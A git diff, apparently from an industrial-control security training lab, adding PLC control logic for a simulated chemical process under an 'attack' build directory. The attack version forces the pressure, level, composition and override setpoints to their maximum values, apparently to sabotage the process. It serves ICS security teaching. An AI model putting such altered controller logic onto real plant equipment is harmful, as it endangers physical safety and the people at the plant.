REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 b/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 new file mode 100644 index 0000000..8af5f5e --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 @@ -0,0 +1 @@ +5a438746873feeb5984adb25694ca5c9 \ No newline at end of file diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st new file mode 100644 index 0000000..93fa1aa --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st @@ -0,0 +1,612 @@ +TYPE + LOGLEVEL : (CRITICAL, WARNING, INFO, DEBUG) := INFO; +END_TYPE + +FUNCTION_BLOCK LOGGER + VAR_INPUT + TRIG : BOOL; + MSG : STRING; + LEVEL : LOGLEVEL := INFO; + END_VAR + VAR + TRIG0 : BOOL; + END_VAR + + IF TRIG AND NOT TRIG0 THEN + {{ + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + }} + END_IF; + TRIG0:=TRIG; +END_FUNCTION_BLOCK + + + +FUNCTION_BLOCK python_eval + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_poll + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_gear + VAR_INPUT + N : UINT; + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + py_eval : python_eval; + COUNTER : UINT; + ADD10_OUT : UINT; + EQ13_OUT : BOOL; + SEL15_OUT : UINT; + AND7_OUT : BOOL; + END_VAR + + ADD10_OUT := ADD(COUNTER, 1); + EQ13_OUT := EQ(N, ADD10_OUT); + SEL15_OUT := SEL(EQ13_OUT, ADD10_OUT, 0); + COUNTER := SEL15_OUT; + AND7_OUT := AND(EQ13_OUT, TRIG); + py_eval(TRIG := AND7_OUT, CODE := CODE); + ACK := py_eval.ACK; + RESULT := py_eval.RESULT; +END_FUNCTION_BLOCK + + +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set : UINT; + a_setpoint : UINT; + pressure_sp : UINT; + override_sp : UINT; + level_sp : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos : UINT; + f1_flow : UINT; + f2_valve_pos : UINT; + f2_flow : UINT; + purge_valve_pos : UINT; + purge_flow : UINT; + product_valve_pos : UINT; + product_flow : UINT; + pressure : UINT; + level : UINT; + a_in_purge : UINT; + b_in_purge : UINT; + c_in_purge : UINT; + f1_valve_sp : UINT; + f2_valve_sp : UINT; + purge_valve_sp : UINT; + product_valve_sp : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure : INT; + hmi_level : INT; + hmi_f1_valve_pos : INT; + hmi_f1_flow : INT; + hmi_f2_valve_pos : INT; + hmi_f2_flow : INT; + hmi_purge_valve_pos : INT; + hmi_purge_flow : INT; + hmi_product_valve_pos : INT; + hmi_product_flow : INT; + scan_count : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c new file mode 100644 index 0000000..dea34ac --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c @@ -0,0 +1,798 @@ +/* + * DEBUGGER code + * + * On "publish", when buffer is free, debugger stores arbitrary variables + * content into, and mark this buffer as filled + * + * + * Buffer content is read asynchronously, (from non real time part), + * and then buffer marked free again. + * + * + * */ +#ifdef TARGET_DEBUG_AND_RETAIN_DISABLE + +void __init_debug (void){} +void __cleanup_debug (void){} +void __retrieve_debug(void){} +void __publish_debug (void){} + +#else + +#include "iec_types_all.h" +#include "POUS.h" +/*for memcpy*/ +#include +#include + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define BUFFER_SIZE 1144 + +/* Atomically accessed variable for buffer state */ +#define BUFFER_FREE 0 +#define BUFFER_BUSY 1 +static long buffer_state = BUFFER_FREE; + +/* The buffer itself */ +char debug_buffer[BUFFER_SIZE]; + +/* Buffer's cursor*/ +static char* buffer_cursor = debug_buffer; +#endif + +static unsigned int retain_offset = 0; +/*** + * Declare programs + **/ +extern MAIN RES0__INSTANCE0; + +/*** + * Declare global variables from resources and conf + **/ +extern 